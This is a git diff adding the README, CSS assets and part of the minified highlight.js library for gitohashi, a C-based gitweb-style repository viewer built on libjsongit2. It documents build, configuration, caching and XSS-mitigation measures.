+   have their own template html and gitolite ACL "user" name for automatic
+   permissions
+
+ - Safe gravatar proxy cache, no referrer leaks
+
+ - Very modest on memory, Valgrind-clean, Coverity-clean, works great on a
+   Raspberry Pi 3
+ 
+ - I18N (Internationalization) supported keyed off the browser ACCEPT-
+   LANGUAGE header, Japanese, Traditional and Simplified Chinese provided on top
+   of the default English UI
+   
+ - Strict Content-Security-Policy out of the box, default-deny, 'self' and
+   whitelisted img sources only (travis status etc).  
+
+ - Dynamically linked - binds to distro system libs
+
+# Getting Started
+
+## Build
+
+gitohashi is a small cmake project with only two dependencies, [libgit2](https://libgit2.org/)
+and [libwebsockets](https://libwebsockets.org/git/libwebsockets), also easy to
+build cmake projects.
+
+Full build details: [README-build.md](./doc/README-build.md)
+
+### Config
+
+You can get started by copying ./etc-gitohashi to /etc/gitohashi
+
+```
+ $ sudo cp -rp ./etc-gitohashi /etc/gitohashi
+```
+
+This contains JSON configuration files for gitohashi vhosts.
+
+### Startup
+
+The gitohashi `make install` adds a systemd service file, so you can manage it
+the same as other services.
+
+However you will need to move it into place if you are installing to, eg,
+`/usr/local/...` as it does by default.
+
+```
+ $ sudo cp /usr/local/lib/systemd/system/gitohashi.service /usr/lib/systemd/system/
+```
+
+Afterwards you can use gitohashi normally with systemd...
+
+```
+ $ systemctl start gitohashi
+```
+
+### Direct serving
+
+gitohashi can serve on http and https, using http/1.1 and / or http/2 directly.
+The default example configuration defines two vhosts, one serving on
+http://localhost:443/git and the other serving on a unix domain socket intended
+to be proxied by Apache or another frontend server.
+
+### Apache integration
+
+gitohashi can serve over unix sockets, as shown in the `unixskt` example
+vhost.  The unix socket should live in `/var/run/`, the example one is at
+`/var/run/gitohashi-unixskt`.  Multiple vhosts can each expose their own
+unix socket.
+
+gitohashi will take care of unlinking and creating the unix sockets at startup,
+as well as changing their owner:group to the owner:group that gitohashi runs
+under.
+
+However selinux must be informed that it's OK for the named unix sockets to be
+connected to by Apache.  You can do this by allowing apache to connect to
+local unix sockets generally with
+
+```
+$ sudo semodule -X 300 -i /usr/local/share/gitohashi/gitohashi-selinux.pp
+```
+
+Afterwards, for each vhost you want to use gitohashi on Apache, you need to
+add
+
+```
+SSLProxyEngine on
+ProxyPass /git unix:///var/run/gitohashi-unixskt|http://localhost/git
+```
+
+For multiple vhosts, `unix:///var/run/gitohashi-unixskt` becomes the per-vhost
+unix socket you created in gitohashi's vhost config.
+
+### Serving gitohashi Assets
+
+gitohashi installs its `./assets` directory into
+`/usr/local/share/gitohashi` by default.
+
+asset|function
+---|---
+inconsolata.ttf|Web font for nice monospaced content
+jg2.js|The clientside part of libjsongit2 that turns the JSON into HTML
+jg2.css|Helper CSS for formatting jg2.js output
+logo.css|CSS SVG Image included by the example template HTML
+gitohashi-custom.css|CSS overrides related to the custom HTML template (normally served from wherever the HTML template is served from)
+highlight.pack.js|Highlight.js script to perform clientside file markup
+github.css|Highlight.js CSS (NB they provide many alternatives...)
+showdown.min.js|Showdown script to perform clientside markdown to HTML
+showdown.min.js.map|Additional information about minified showdown
+
+Gitohashi also installs an example html template from its `./templates` dir,
+`gitohashi-example.html` into `/usr/local/share/gitohashi/templates`.  This
+is not designed to be directly served, instead the gitohashi vhost is pointed
+to a customized copy of it adapted with a suitable logo, content and css /
+fonts.
+
+Assuming you want "sandwiched" JSON-in-HTML mode, two places need to know the
+path:
+
+ - you need to inform the library the filepath to the HTML template file in
+   the vhost config struct
+
+ - you must serve that dir somehow over HTTP so the client browser can get at
+   the rest of the assets mentioned in the HTML.  (The HTML is provided
+   directly by libjsongit2 in sandwich mode, but the other assets are collected
+   by the client browser over HTTP).  The provided HTTP template
+   assumes it's served from the same server at the virtual path
+   "/git/_gitohashi", but you can change that as needed.
+
+Caching policy in your HTTP server for the assets can be relaxed, since they
+will normally only change when gitohashi it updated.
+
+### Integration with gitolite
+
+Gitohashi tries to require as little configuration as possible.  One big help
+with that is it can use libjsongit2's ability to parse gitolite ACLs from the
+same repo base directory.  That allows you to use gitolite config to control
+which repos gitohashi can access and set information about them.
+
+Full details: [README-gitolite.md](https://warmcat.com/git/libjsongit2/tree/doc/README-gitolite.md) 
+
+## Caching in gitohashi
+
+To minimize the cost of generated, external and static page assets, gitohashi
+uses several different types of cache. 
+
+### Avatar cache
+
+gitohashi makes a lot of use of avatars to make it easy to recognize commit
+authors and who has contributed.
+
+ - Repeated avatar references on the client side are coalesced to one fetch by
+the browser, but on pages with many commits by different people, that can still
+add up to a lot of fetches.  The caching policy is controlled by the server the
+avatar was fetched from, even though avatars very seldom change.
+
+ - With a third-party avatar provider, there's also a problem your browser is
+informing them of every URL you visit via `referrer`, and which avatars are
+there.  This may be "too much information".
+
+ - Gravatar is also listed by mozilla as a service that needs protecting against
+for privacy; you will lose your green padlock on pages that reference gravatar
+directly.
+
+For these reasons gitohashi includes a smart server-side avatar cache.
+
+It's not a generic proxy cache, libjsongit2 informs gitohashi when it generates
+JSON mentioning an identity, and the avatar cache fetches the related avatar if
+it's not already in the cache.  The avatar cache is exposed in a mount serving
+static files with a user-controllable cache policy (which you can set to days
+or weeks to control the related client traffic).  In this way it's secure
+against abuse.
+
+No referrer information is sent, and since the JSON tells the browser to pick
+up the avatar images from your server, the client finds no references to
+the third-party avatar provider and so no privacy issues.
+
+### Transparent JSON Cache
+
+libjsongit2 has a sophisticated transparent JSON cache described in detail in
+its README
+
+https://warmcat.com/git/libjsongit2
+
+Cache entries are invalidated when the related repo's refs
+change; libjsongit2 maintains a hash of all refs in a repo for this purpose.
+
+It means that deprecated repos nobody pushes to will keep their caches
+unless the size limit is reached and the cache content is reaped according to
+LRU, while active repos will always have fresh content reflecting their
+current status with only a few seconds delay, and the cached versions of that
+content will exist until the next push, maximizing their usefulness.
+
+Gitohashi checks the `user-agent` header of the client for "bot" or "Bot", and
+if present disables cache generation for the request, so that random bot
+spidering doesn't flush meaningful user accesses that may be useful for other
+users in the cache.
+
+## Client-side HTTP cache
+
+Assets that may have a safe client-side cache policy (CSS, JS, fonts etc) are
+separated out to their own URL base that may have the relaxed caching policy
+applied to it.  The generated HTML + JSON is never cached and always produced
+live. 
+
+## ETAG client-side HTTP cache
+
+When the client-side cache time expires, the client can still avoid reloading
+by using ETAGs (all modern browsers do this automatically).  Gitohashi
+understands ETAGs and will reply with a HTTP response code indicating the
+cached object is unchanged, renewing the clientside cache copy without having
+to resend any content.
+
+Gitohashi understands etags, 
+
+## Notes on developing with gitohashi
+
+1. You can run gitohashi from the commandline with sudo, but you must
+   override HOME.  libgit2 will try to use any .gitrc in your original user's
+   HOME and fail on opening the repos.  Use this kind of thing:
+   
+```
+$ sudo HOME=/tmp valgrind --leak-check=full --show-leak-kinds=all /usr/local/bin/gitohashi
+```
+
+2. You can either attach gdb to the gitohashi process even if run by systemd
+   using `gdb -p <pid>`, or run it under gdb with, eg
+   
+```
+$ sudo HOME=/tmp valgrind gdb --ex r --args /usr/local/bin/gitohashi
+```
+
+## XSS mitigation
+
+### Making the most of Content-Security-Policy
+
+Modern browsers understand XSS and allow the server to specify a kind of
+"selinux on your web page" at the time the pages are served.  This is
+independent of what is on the original page or what may be inserted into the
+DOM.
+
+Gitohashi's example HTML template and the example `/etc/gitohashi` conf are
+already set for default-deny `Content-Security-Policy` for all types of content,
+with specific overrides to allow scripts, CSS and fonts from the same server
+that sent the original page, and images additionally from travis / appveyor and
+coverity ONLY.
+
+That means inline (injected) scripts and style are specifically disallowed by
+the default security policy told to the browser by gitohashi when it serves the
+page.  The default CSP is enough to get A+ at https://observatory.mozilla.org .
+
+### Showdown
+
+Generic markdown is unfortunately sucecptible to XSS attacks, made a lot worse
+by wanting to allow the input to fall back to raw html.
+
+However we don't need that for README.md type applications, so we perform
+the following changes to the markdown input before processing
+
+character|change
+---|---
+Ampersand|& a m p ;
+Less than|& l t ; & # 8 2 0 3;
+Greater than|& g t ;
+Percent|& # 3 7 ;
+
+The additional zero-width space after the less-than is to defeat Showdown's
+suicidal desire to interpret the HTML escape sequence & l t ; as a valid, active
+less-than character for opening html tags.
+
+With this the xss test page at ./xss/README.md with several dozen xss variations
+does not render to anything active scriptwise.
+
+See https://warmcat.com/git/gitohashi/tree/xss
+
+### Highlight.js
+
+At least for C highlight, providing the same large set of XSS attacks in a .c is
+unable to do anything on the client, again by globally preprocessing the
+characters critical to the attack variants into escaped forms first.
+
+See https://warmcat.com/git/gitohashi/tree/xss/xss.c
+
+## Upstreams and licenses
+
+### libjsongit2
+
+LGPL2.1+SLE
+
+https://warmcat.com/git/libjsongit2
+
+### libwebsockets
+
+LGPL2.1+SLE
+
+https://libwebsockets.org/git/libwebsockets
+
+### highlightjs
+
+https://highlightjs.org/
+
+included in gitohashi:
+
+ - assets/highlight.pack.js
+ - assets/github.css
+
+```
+Copyright (c) 2006, Ivan Sagalaev
+All rights reserved.
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright
+      notice, this list of conditions and the following disclaimer.
+    * Redistributions in binary form must reproduce the above copyright
+      notice, this list of conditions and the following disclaimer in the
+      documentation and/or other materials provided with the distribution.
+    * Neither the name of highlight.js nor the names of its contributors 
+      may be used to endorse or promote products derived from this software 
+      without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+```
+
+### showdown
+
+https://github.com/showdownjs/showdown
+
+included in gitohashi:
+
+ - assets/showdown.min.js
+
+```
+Showdown Copyright (c) 2007, John Fraser
+http://www.attacklab.net
+All rights reserved.
+
+Original Markdown copyright (c) 2004, John Gruber
+http://daringfireball.net
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+* Redistributions of source code must retain the above copyright notice,
+  this list of conditions and the following disclaimer.
+
+* Redistributions in binary form must reproduce the above copyright
+  notice, this list of conditions and the following disclaimer in the
+  documentation and/or other materials provided with the distribution.
+
+* Neither the name "Markdown" nor the names of its contributors may
+  be used to endorse or promote products derived from this software
+  without specific prior written permission.
+
+This software is provided by the copyright holders and contributors "as
+is" and any express or implied warranties, including, but not limited
+to, the implied warranties of merchantability and fitness for a
+particular purpose are disclaimed. In no event shall the copyright owner
+or contributors be liable for any direct, indirect, incidental, special,
+exemplary, or consequential damages (including, but not limited to,
+procurement of substitute goods or services; loss of use, data, or
+profits; or business interruption) however caused and on any theory of
+liability, whether in contract, strict liability, or tort (including
+negligence or otherwise) arising in any way out of the use of this
+software, even if advised of the possibility of such damage.
+```
+
+libjsongit2
+-----------
+
+Gitohashi contains a lightweight C library using libgit2 that converts
+urlpaths into JSON representing the "business logic" of a sophisticated gitweb
+type interface.  Gitohashi uses the library and provides assets to present its
+JSON representation in HTML, but libjsongit2's JSON representation could also
+be represented completely different by different applications using it.
+
+![libjsongit2-overview](./doc/doc-assets/libjsongit2-overview.svg)
+
+Try it out at https://warmcat.com/git/libjsongit2 and
+https://libwebsockets.org/git/libwebsockets
+
+## Features
+
+ - library implements a "gitweb" type interface to bare git repos, taking a
+   cgit-compatible "urlpath" and returning JSON, an HTML template plus JSON,
+   or a direct file from inside a repo revision with its own mimetype,
+   with the presentation entirely separated and done clientside.
+
+ - Fast, small, modern, stateful, multivhost, threadsafe, opaque C api with
+   just 5 functions, no libgit2 types.
+
+ - Works with libgit2 v0.19+ ie, Ubuntu 14.04+; blame support requires
+   libgit2 0.21+
+
+ - Per-connection stateful context-based api bound to a vhost allows unlimited
+   number of concurrent ongoing requests on same or different repos
+
+ - Output generated JIT to fill user buffer, state maintain to generate more
+   only when the user code wants to fill another buffer.
+
+ - Transparent caching at JSON block level, keyed using global repository ref
+   state... cache invalidated when any ref updated.  No time-based caching.
+
+ - Top level vhost context allows small number of settings like vurl, and
+   caching things per-vhost.  If using HTML sandwiching, the vhost loads the
+   html template into memory one time.
+
+ - Uses existing repo configuration where possible:
+
+    - gitweb config options in the repo itself
+
+    - gitolite ACL config parsed if found in the vhost's repository directory
+      selects which repos are visible based on vhost's "user" and per-context
+      authenticated user
+
+ - Very modest on memory, Valgrind-clean, Coverity-clean
+
+ - Highly optimized Gravatar / md5 support
+
+ - Supports serving http assets like pictures directly from the repo, so
+   they are versioned along with the ref being viewed
+
+ - Dynamic, stateful snapshot archive generation for tar.gz, tar.bz2, tar.xz
+   and zip
+   
+ - Enables Internationalization, passes the browser `ACCEPT_LANGUAGE` header
+   data back in the JSON.  But since internationalization is about presentation,
+   it is actually performed clientside.
+   
+ - various alignments to github style, such as:
+ 
+    - inline README.md display in tree view
+    
+    - markdown can fetch from the repo with URLs starting ./ for the
+   current directory the markdown is at inside the repo
+   
+    - line range highlighting
+    
+    - sorted contributor list in blame view
+
+ - CMake crossplatform, simple, adaptive build system
+
+## Getting Started
+
+libjsongit2 is a cmake project that's easy to build.  It requires libgit2 and
+optionally libarchive, both of which are available in all popular distros.
+
+Full build details: [README-build.md](./doc/README-build.md)
+
+## Overview
+
+This C library gives you a way to get Read-Only access to selected repos
+according to your gitolite ACLs, in HTML + JSON and also to directly access repo
+files for a particular rev in their native mimetype.  From a URL path, it
+returns serveable HTTP reflecting various ways of looking at the repo and its
+contents as needed by a gitweb type application.
+
+![naked-and-sandwich](./doc/doc-assets/naked-and-sandwich.svg)
+
+After initializing at least vhost with this library, you create per-connection
+"contexts" which are associated with a repo in the filesystem and a "urlpath"
+describing the information you want in JSON.
+
+Based on the urlpath, the library emits one or more "jobs", either HTML + JSON
+or raw files served from a repo rev.  Each time there's no more space left in
+the user output buffer for another entry, the library returns and waits to be
+called again to fill another buffer.  So the library does not create content
+until it's directly possible to send it on, and the caller is explicitly in
+control of how much data is produced and when.  Many different connection
+contexts may be ongoing simultaneously.
+
+The library uses the urlpath to provide all the kinds of information needed
+for gitweb style rendering at the client.
+
+Jobs can be chained together so different kinds of information can coexist in a
+single JSON blob.
+
+The context holds all the necessary state, the user code chooses when to ask a
+context to continue to generate another buffer of JSON.  So it's able to only do
+work (and use memory) to generate data that can be sent onwards immediately,
+eliminating stream buffering at the server side.
+
+### HTML template "sandwich"
+
+To simplify customization and use, libjsongit2 can produce JSON already
+embedded in a template HTML.  An HTML comment marks where the JSON should be
+inserted.
+
+![libjsongit2-sandwich](./doc/doc-assets/libjsongit2-sandwich.svg)
+
+The template HTML also makes it easy to directly configure css and related js
+needed both by the template and libjsongit2 parts in the template itself.
+
+The HTML template is cached in memory by the libjsongit2 vhost, but it checks
+each time it's used if it has been longer than 5s since the last check, that
+it's up to date with the original file in the filesystem, and auto-reloads if
+not.
+
+### JSON output
+
+The library produces well-formed JSON ready for `JSON.parse()` that
+always has an outer container like this
+
+```
+{
+ "schema":"jg2-1",
+ ... dynamic entries ...
+ "items": [
+
+... one or more "job" JSON { structures }, may be from cache ...
+
+ ],
+ ... dynamic stats entries ...
+}
+```
+
+cacheable "items" that are relevant to the requested urlpath are provided.
+
+Full details and documentation on the JSON format: [README-JSON.md](./doc/README-JSON.md)
+
+The jg2-example application built along with libjsongit2 allows you to see the
+JSON produced for a given URLpath.
+
+### URL structure
+
+The generated JSON embeds links and interprets url paths (the part after
+`http[s]://xxx.com`) using the following rules, broadly compatible with cgit:
+
+**/vpath**/reponame/**mode**/repopath\[**?h=branch**\]
+
+ - vpath: the server can set `.virtual_base_urlpath` when creating the
+   "vhost" using the `struct jg2_vhost_config *` passed as
+   an argument to `jg2_vhost_create()`
+
+ - reponame: which repo
+
+ - mode: one of:
+    - (the url ends before this): see summary
+    - "refs": exhaustive list of refs in the repo
+    - "log": history from a specific ref or commit
+    - "tree": view of the file structure behind the commit chain
+    - "commit": the actual diff view of a single commit
+    - "plain": a blob with a guessed mimetype
+    - "patch": plain text raw patch (text/plain mimetype)
+    - "snapshot": various kinds of archive of a specific ref or commit
+    - "blame": like tree but with extra provonance information
+    - "branches": exhaustive list of branches
+    - "tags": exhaustive list of tags
+    - "summary": rundown of the top ten most-recently updated branches and tags
+
+ - repopath: the path inside the repo
+
+ - URLargs that restrict the context of the request include:
+    - `?h=branch`: specifies a branch (default is "master")
+    - `?id=<oid hex representation>`
+    - `?ofs=<number of items>`
+
+
+### Gravatar support
+
+The library maintains a hashtable of most recently seen email md5s in the opaque
+"vhost" structure.  By default, this is 16 hash bins each a max of 16 deep, or
+256 md5s, or about 20KiB including space for 64-char emails.  These numbers can
+be overridden at `jg2_vhost_create()` time.
+
+Because it's in the `jg2_vhost` struct, which contexts bind to at creation time,
+the email cache is shared between all contexts using the same vhost.
+
+The email cache algorithm moves email matches to the start of the bin's linked-
+list each time, and after the hash bin is full, it recycles the least-recently
+seen email at the end of the list.
+
+It's also possible to override the internal md5 code with an external function
+that may be faster, in the user config at the vhost init / vhost creation time.
+See `struct jg2_vhost_config` in `libjsongit2.h`
+
+[Gitohashi](https://warmcat.com/git/gitohashi) additionally provides an avatar proxy.
+
+## API overview
+
+The user api is defined in `./include/libjsongit2.h`, it consists of just 5
+functions.
+
+To init:
+
+ - `jg2_vhost_create()` once per vhost, but at least once (eg, on app init).
+   An args struct is passed which allows configuring vhost options in an
+   extensible way.  If the app starts as root and drops privileges, the vhosts
+   should be created while still root, allowing low tcp port binding and auto
+   creation and persmissions setting on the JSON cache dir.
+
+ - `jg2_ctx_create()` once per connection.  An args struct is passed which
+   allows configuring the connection options in an extensible way.  When the
+   context is created, the URL related to it is parsed to understand what kind
+   of result is needed, along with returning the mimetype and size if possible
+   to the caller.
+
+To emit the output (JSON, HTML + JSON, raw file contents etc):
+
+ - `jg2_ctx_fill()` to write the next chunk of output into a provided buffer.
+   As far as possible output is only generated a buffer at a time.
+
+To finish up:
+
+ - `jg2_ctx_destroy()` for every created context (eg, on connection close)
+
+ - `jg2_vhost_destroy()` for every vhost init (eg, on app close)
+
+## Configuration
+
+libjsongit2 tries to eliminate as much configuration as possible.  It does this
+by re-using existing git-related conventions like gitweb config and gitolite
+ACLs, instead of repeating separate lists of repos to be shown.
+
+### Per-vhost configuration
+
+When creating the vhost object, there's a public `struct jg2_vhost_config`
+config struct that can be filled in, but only two items are mandatory.
+
+ - `virtual_base_urlpath`: the virtual URL part, eg, /git
+
+ - `repo_base_dir`: the base directories where the git repos live
+ 
+ See https://warmcat.com/git/libjsongit2/tree/include/libjsongit2.h for the
+ full set of vhost configuration arguments.
+
+Full-details of gitolite integration: [README-gitolite.md](./doc/README-gitolite.md)  
+
+### Example app
+
+A minimal example commandline app is built with the library, if you point
+it to a dir where bare repos live, and give it a "url path", it will dump
+JSON to stdout.
+
+See ./examples/minimal/jg2-example.c
+
+## Transparent JSON Cache
+
+libjsongit2 can cache the results of individual JSON jobs and "naked"
+generated files like snapshots and content served direct from a repo ref.
+
+The user can set the cache location and size limit per repository base dir,
+and a thread scans the cache lazily deleting files on an LRU basis once the
+cache reaches its limit.  The scan uses a few KiB of memory regardless of the
+size of the cache.
+
+The cached files use many keys to ensure they are relevant to the requested
+URL.  Full details: [README-cache.md](./doc/README-cache.md) 
+
+## Contact
+
+Andy Green &lt;andy@warmcat.com&gt;
+
diff --git a/assets/github.css b/assets/github.css
new file mode 100644
index 0000000..7cb2dbc
--- /dev/null
+++ b/assets/github.css
@@ -0,0 +1,112 @@
+/*
+
+github.com style (c) Vasily Polovnyov <vast@whiteants.net>
+
+*/
+
+.hljs {
+  display: block;
+  overflow-x: auto;
+  padding: 0.5em;
+  color: #333;
+  background: rgba(248, 248, 248, 0.5);
+}
+
+.hljs-comment,
+.hljs-quote {
+  color: #998;
+  font-style: italic;
+}
+
+.hljs-keyword,
+.hljs-selector-tag,
+.hljs-subst {
+  color: #333;
+  font-weight: bold;
+}
+
+.hljs-template-variable,
+.hljs-tag .hljs-attr {
+  color: #008080;
+}
+
+.hljs-number {
+  color: #800;
+}
+
+.hljs-variable {
+  color: #008;
+}
+
+.hljs-literal {
+  color: #080;
+}
+
+.hljs-literal {
+  color: #080;
+}
+
+.hljs-string,
+.hljs-doctag {
+  color: #d14;
+}
+
+.hljs-title,
+.hljs-section,
+.hljs-selector-id {
+  color: #900;
+  font-weight: bold;
+}
+
+.hljs-subst {
+  font-weight: normal;
+}
+
+.hljs-type,
+.hljs-class .hljs-title {
+  color: #458;
+  font-weight: bold;
+}
+
+.hljs-tag,
+.hljs-name,
+.hljs-attribute {
+  color: #000080;
+  font-weight: normal;
+}
+
+.hljs-regexp,
+.hljs-link {
+  color: #009926;
+}
+
+.hljs-symbol,
+.hljs-bullet {
+  color: #990073;
+}
+
+.hljs-built_in,
+.hljs-builtin-name {
+  color: #0086b3;
+}
+
+.hljs-meta {
+  color: #999;
+  font-weight: bold;
+}
+
+.hljs-deletion {
+  background: #fdd;
+}
+
+.hljs-addition {
+  background: #dfd;
+}
+
+.hljs-emphasis {
+  font-style: italic;
+}
+
+.hljs-strong {
+  font-weight: bold;
+}
diff --git a/assets/gitohashi-custom.css b/assets/gitohashi-custom.css
new file mode 100644
index 0000000..1f2f034
--- /dev/null
+++ b/assets/gitohashi-custom.css
@@ -0,0 +1,44 @@
+
+@font-face {
+  font-family: 'Inconsolata';
+  font-style: normal;
+  font-weight: 400;
+  src: local('Inconsolata Regular'), url('/git/_gitohashi/inconsolata.ttf') format('truetype');
+}
+body {
+	font-family: "Open Sans", Roboto, Arial, Helvetica, sans-serif;
+	font-size: 15px;
+	padding-bottom:0;
+	padding-top:0;
+	margin-bottom:0;
+	margin-top:0;
+}
+p {
+	font-family: "Open Sans", Roboto, Arial, Helvetica, sans-serif;
+	font-size: 15px;
+}
+pre {
+	font-family: "Inconsolata", "mono";
+	font-size: 14px;
+}
+
+tr.repobar {
+	background-color: #dcf4dc;
+}
+
+div.tabs li.selected {
+	background: #dcf4dc;
+	color: #333;
+}
+
+div.tabs li {
+	background: #c0d8c0;
+}
+
+div.tabs li:hover {
+	background: #cce8cc;
+}
+
+div.tabs a {
+	color: #00c;
+}
diff --git a/assets/highlight.pack.js b/assets/highlight.pack.js
new file mode 100644
index 0000000..46ef622
--- /dev/null
+++ b/assets/highlight.pack.js
@@ -0,0 +1,2 @@
+/*! highlight.js v9.12.0 | BSD3 License | git.io/hljslicense */
+!function(e){var n="object"==typeof window&&window||"object"==typeof self&&self;"undefined"!=typeof exports?e(exports):n&&(n.hljs=e({}),"function"==typeof define&&define.amd&&define([],function(){return n.hljs}))}(function(e){function n(e){return e.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;")}function t(e){return e.nodeName.toLowerCase()}function r(e,n){var t=e&&e.exec(n);return t&&0===t.index}function a(e){return k.test(e)}function i(e){var n,t,r,i,o=e.className+" ";if(o+=e.parentNode?e.parentNode.className:"",t=B.exec(o))return w(t[1])?t[1]:"no-highlight";for(o=o.split(/\s+/),n=0,r=o.length;r>n;n++)if(i=o[n],a(i)||w(i))return i}function o(e){var n,t={},r=Array.prototype.slice.call(arguments,1);for(n in e)t[n]=e[n];return r.forEach(function(e){for(n in e)t[n]=e[n]}),t}function u(e){var n=[];return function r(e,a){for(var i=e.firstChild;i;i=i.nextSibling)3===i.nodeType?a+=i.nodeValue.length:1===i.nodeType&&(n.push({event:"start",offset:a,node:i}),a=r(i,a),t(i).match(/br|hr|img|input/)||n.push({event:"stop",offset:a,node:i}));return a}(e,0),n}function c(e,r,a){function i(){return e.length&&r.length?e[0].offset!==r[0].offset?e[0].offset<r[0].offset?e:r:"start"===r[0].event?e:r:e.length?e:r}function o(e){function r(e){return" "+e.nodeName+'="'+n(e.value).replace('"',"&quot;")+'"'}s+="<"+t(e)+E.map.call(e.attributes,r).join("")+">"}function u(e){s+="</"+t(e)+">"}function c(e){("start"===e.event?o:u)(e.node)}for(var l=0,s="",f=[];e.length||r.length;){var g=i();if(s+=n(a.substring(l,g[0].offset)),l=g[0].offset,g===e){f.reverse().forEach(u);do c(g.splice(0,1)[0]),g=i();while(g===e&&g.length&&g[0].offset===l);f.reverse().forEach(o)}else"start"===g[0].event?f.push(g[0].node):f.pop(),c(g.splice(0,1)[0])}return s+n(a.substr(l))}function l(e){return e.v&&!e.cached_variants&&(e.cached_variants=e.v.map(function(n){return o(e,{v:null},n)})),e.cached_variants||e.eW&&[o(e)]||[e]}function s(e){function n(e){return e&&e.source||e}function t(t,r){return new RegExp(n(t),"m"+(e.cI?"i":"")+(r?"g":""))}function r(a,i){if(!a.compiled){if(a.compiled=!0,a.k=a.k||a.bK,a.k){var o={},u=function(n,t){e.cI&&(t=t.toLowerCase()),t.split(" ").forEach(function(e){var t=e.split("|");o[t[0]]=[n,t[1]?Number(t[1]):1]})};"string"==typeof a.k?u("keyword",a.k):x(a.k).forEach(function(e){u(e,a.k[e])}),a.k=o}a.lR=t(a.l||/\w+/,!0),i&&(a.bK&&(a.b="\\b("+a.bK.split(" ").join("|")+")\\b"),a.b||(a.b=/\B|\b/),a.bR=t(a.b),a.e||a.eW||(a.e=/\B|\b/),a.e&&(a.eR=t(a.e)),a.tE=n(a.e)||"",a.eW&&i.tE&&(a.tE+=(a.e?"|":"")+i.tE)),a.i&&(a.iR=t(a.i)),null==a.r&&(a.r=1),a.c||(a.c=[]),a.c=Array.prototype.concat.apply([],a.c.map(function(e){return l("self"===e?a:e)})),a.c.forEach(function(e){r(e,a)}),a.starts&&r(a.starts,i);var c=a.c.map(function(e){return e.bK?"\\.?("+e.b+")\\.?":e.b}).concat([a.tE,a.i]).map(n).filter(Boolean);a.t=c.length?t(c.join("|"),!0):{exec:function(){return null}}}}r(e)}function f(e,t,a,i){function o(e,n){var t,a;for(t=0,a=n.c.length;a>t;t++)if(r(n.c[t].bR,e))return n.c[t]}function u(e,n){if(r(e.eR,n)){for(;e.endsParent&&e.parent;)e=e.parent;return e}return e.eW?u(e.parent,n):void 0}function c(e,n){return!a&&r(n.iR,e)}function l(e,n){var t=N.cI?n[0].toLowerCase():n[0];return e.k.hasOwnProperty(t)&&e.k[t]}function p(e,n,t,r){var a=r?"":I.classPrefix,i='<span class="'+a,o=t?"":C;return i+=e+'">',i+n+o}function h(){var e,t,r,a;if(!E.k)return n(k);for(a="",t=0,E.lR.lastIndex=0,r=E.lR.exec(k);r;)a+=n(k.substring(t,r.index)),e=l(E,r),e?(B+=e[1],a+=p(e[0],n(r[0]))):a+=n(r[0]),t=E.lR.lastIndex,r=E.lR.exec(k);return a+n(k.substr(t))}function d(){var e="string"==typeof E.sL;if(e&&!y[E.sL])return n(k);var t=e?f(E.sL,k,!0,x[E.sL]):g(k,E.sL.length?E.sL:void 0);return E.r>0&&(B+=t.r),e&&(x[E.sL]=t.top),p(t.language,t.value,!1,!0)}function b(){L+=null!=E.sL?d():h(),k=""}function v(e){L+=e.cN?p(e.cN,"",!0):"",E=Object.create(e,{parent:{value:E}})}function m(e,n){if(k+=e,null==n)return b(),0;var t=o(n,E);if(t)return t.skip?k+=n:(t.eB&&(k+=n),b(),t.rB||t.eB||(k=n)),v(t,n),t.rB?0:n.length;var r=u(E,n);if(r){var a=E;a.skip?k+=n:(a.rE||a.eE||(k+=n),b(),a.eE&&(k=n));do E.cN&&(L+=C),E.skip||(B+=E.r),E=E.parent;while(E!==r.parent);return r.starts&&v(r.starts,""),a.rE?0:n.length}if(c(n,E))throw new Error('Illegal lexeme "'+n+'" for mode "'+(E.cN||"<unnamed>")+'"');return k+=n,n.length||1}var N=w(e);if(!N)throw new Error('Unknown language: "'+e+'"');s(N);var R,E=i||N,x={},L="";for(R=E;R!==N;R=R.parent)R.cN&&(L=p(R.cN,"",!0)+L);var k="",B=0;try{for(var M,j,O=0;;){if(E.t.lastIndex=O,M=E.t.exec(t),!M)break;j=m(t.substring(O,M.index),M[0]),O=M.index+j}for(m(t.substr(O)),R=E;R.parent;R=R.parent)R.cN&&(L+=C);return{r:B,value:L,language:e,top:E}}catch(T){if(T.message&&-1!==T.message.indexOf("Illegal"))return{r:0,value:n(t)};throw T}}function g(e,t){t=t||I.languages||x(y);var r={r:0,value:n(e)},a=r;return t.filter(w).forEach(function(n){var t=f(n,e,!1);t.language=n,t.r>a.r&&(a=t),t.r>r.r&&(a=r,r=t)}),a.language&&(r.second_best=a),r}function p(e){return I.tabReplace||I.useBR?e.replace(M,function(e,n){return I.useBR&&"\n"===e?"<br>":I.tabReplace?n.replace(/\t/g,I.tabReplace):""}):e}function h(e,n,t){var r=n?L[n]:t,a=[e.trim()];return e.match(/\bhljs\b/)||a.push("hljs"),-1===e.indexOf(r)&&a.push(r),a.join(" ").trim()}function d(e){var n,t,r,o,l,s=i(e);a(s)||(I.useBR?(n=document.createElementNS("http://www.w3.org/1999/xhtml","div"),n.innerHTML=e.innerHTML.replace(/\n/g,"").replace(/<br[ 